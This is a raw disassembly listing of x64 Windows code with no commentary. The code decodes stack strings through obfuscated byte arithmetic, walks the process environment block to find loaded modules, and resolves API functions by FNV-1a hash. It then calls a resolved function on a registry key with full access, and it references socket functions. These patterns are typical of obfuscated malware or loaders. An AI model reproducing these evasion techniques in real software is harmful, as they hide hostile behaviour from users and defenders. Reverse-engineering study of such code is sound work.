lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140215121
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1402156b1
mov byte [rbp + r9 + 0xe50], bl
jmp 0x140215838
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xe50]
add bl, dl
add bl, r8b
jmp 0x14021571e
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xe50]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1402157a3
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1402157d5
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x14021576e
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1402156f9
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xe50], r8b
jmp 0x1402156f6
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x140215838
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0xe50], cl
jmp 0x14021576b
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140215838
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xe50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xe50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140215829
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xe50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140214cf9
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140214cf6
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x140214ce6
lea rdx, [rbp + 0x16003c8]
jmp 0x1402158a2
lea rdx, [rbp + 0x1026ee2]
jmp 0x1402158a2
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x178]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2960]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1402158d7
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2960]
call fcn.14018c840
nop
lea rcx, [rbp + 0x2960]
call fcn.140266950
nop
lea rcx, [rbp + 0x2960]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x550], Ordinal_60
mov byte [rbp + 0x551], Ordinal_143
mov byte [rbp + 0x552], 0x61
mov byte [rbp + 0x553], 0xf3
mov byte [rbp + 0x554], 0x5a
mov byte [rbp + 0x555], 0xf1
mov byte [rbp + 0x556], 0x62
mov byte [rbp + 0x557], 0xf7
mov byte [rbp + 0x558], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x559], 0xf5
mov byte [rbp + 0x55a], 0x5b
mov byte [rbp + 0x55b], 0xfb
mov byte [rbp + 0x55c], WSAStartup
mov byte [rbp + 0x55d], 0xf9
mov byte [rbp + 0x55e], 0x5b
mov byte [rbp + 0x55f], 0xff
mov byte [rbp + 0x560], r14b
mov byte [rbp + 0x561], 0xfd
mov byte [rbp + 0x562], 0x59
mov byte [rbp + 0x563], 0xe3
mov byte [rbp + 0x564], Ordinal_79
mov byte [rbp + 0x565], 0xe1
mov byte [rbp + 0x566], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x567], 0xe7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x569], 0xe5
mov byte [rbp + 0x56a], 0x7f
mov byte [rbp + 0x56b], 0xeb
mov byte [rbp + 0x56c], 0x7a
mov byte [rbp + 0x56d], 0xe9
mov byte [rbp + 0x56e], Ordinal_79
mov byte [rbp + 0x56f], 0xef
mov byte [rbp + 0x570], 0x7a
mov byte [rbp + 0x571], 0xed
mov byte [rbp + 0x572], 0x88
mov byte [rbp + 0x573], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x574], 0x84
mov byte [rbp + 0x575], Ordinal_211
mov byte [rbp + 0x576], Ordinal_217
mov byte [rbp + 0x577], Ordinal_217
xor eax, eax
mov qword [rbp + 0x578], rax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x14021660b
movzx r8d, byte [rbp + r9 + 0x550]
mov rdx, r8
cmp rdi, r9
ja 0x140216602
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140215a94
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x140215ad8
je 0x140216581
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1402164fa
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402164ce
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140216483
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140216433
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1402165f9
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140215b0d
movabs rdx, 0x918829b2f7c05816
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140215b4e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140216412
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402163ef
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402163c9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402163a3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140216381
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1402160eb
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1402160ca
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1402160a4
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140216081
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140216060
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14021603e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14021601c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140216008
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140215fe6
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140215fc0
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140215b5b
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1402165d6
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1402165b3
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140215d5c
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140215d39
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140215d13
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140215f64
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140215f0a
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140215ebb
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140215e90
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140215b5b
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140215e7c
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140215e5a
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140215e38
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140215e12
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140215df0
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140215ddc
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140215db9
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140215d96
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140215d82
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140215b5b
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140215b5b
movabs rdx, 0xcf7914021ebc2eaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140215b4e
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140215ad8
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140215a5c
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_26
jmp 0x14021641f
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140216478
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14021647b
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14021606f
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1402164c9
movabs rdx, 0x163139bc6c9af844
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402164e9
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14021651b
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14021654d
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14021625a
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x550], bl
jmp 0x1402165ab
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x140215eae
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140216450
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
cmp rdi, 0x1000
jae 0x140216328
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140216271
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140215edc
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x140216353
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x1402161b6
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x140215f28
movabs rdx, 0x6930fa31ce821084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021659c
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14021654d
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140216152
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1402164e9
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1402164c9
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140216349
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14021647b
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140216478
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14021642f
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140216111
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140215f81
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14021613d
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14021659c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140216169
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14021651b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140216195
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1402164e9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140215f81
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1402163d8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402161e5
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_26
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140216450
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140216211
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140216478
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14021623e
movabs rdx, 0x95088902e4e5b3b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14021649f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140215f28
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021659c
jne 0x140216296
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14021659c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402162c0
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140216162
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402162dd
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1402163b2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140216307
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x14021649f
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140215edc
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1402161ce
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x550]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x1402164a1
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x550]
add bl, dl
add bl, r8b
jmp 0x14021651b
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x14021651b
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402164e9
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402164c9
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14021647b
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140216450
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x550], cl
add r10, r15
sub r9, r15
jmp 0x1402165ab
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x550], r8b
add rdi, r10
jmp 0x1402164e9
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1402165ab
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x550], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x550], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x14021659c
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x550]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140215a49
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x140215a46
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x140215a36
lea r12, [rbp + 0x145e2f8]
jmp 0x140216612
lea r12, [rbp + 0x136aa36]
jmp 0x140216612
lea r12, [rbp + 0x550]
mov r10, qword [0x14044bbc0]
test r10, r10
jne 0x140216782
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021668e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140216681
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140216672
cmp edx, esi
jne 0x140216760
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140216760
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140216760
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1402166e2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402166d7
cmp edx, r14d
je 0x1402166f8
test r10d, r10d
jne 0x1402166c2
jmp 0x140216760
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140216775
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140216775
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140216753
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14021672f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140216746
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140216772
cmp qword [rbx + 0x30], r13
jne 0x140216642
mov r10, r13
mov qword [0x14044bbc0], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x14044b488]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
mov r12d, 8
test rdx, rdx
jne 0x14021691f
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140216838
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14021682a
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140216819
cmp r8d, esi
jne 0x140216910
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140216910
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140216910
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x14021688d
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140216880
cmp r8d, r14d
je 0x1402168a2
test ebx, ebx
jne 0x14021686b
jmp 0x140216910
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x140216918
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140216918
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x1402168e1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402168d3
jmp 0x1402168f6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1402168e9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1402167e8
mov qword [0x14044bb38], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
test rbx, rbx
jne 0x140216a97
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402169a2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140216995
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140216986
cmp edx, esi
jne 0x140216a7b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140216a7b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140216a7b
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1402169fc
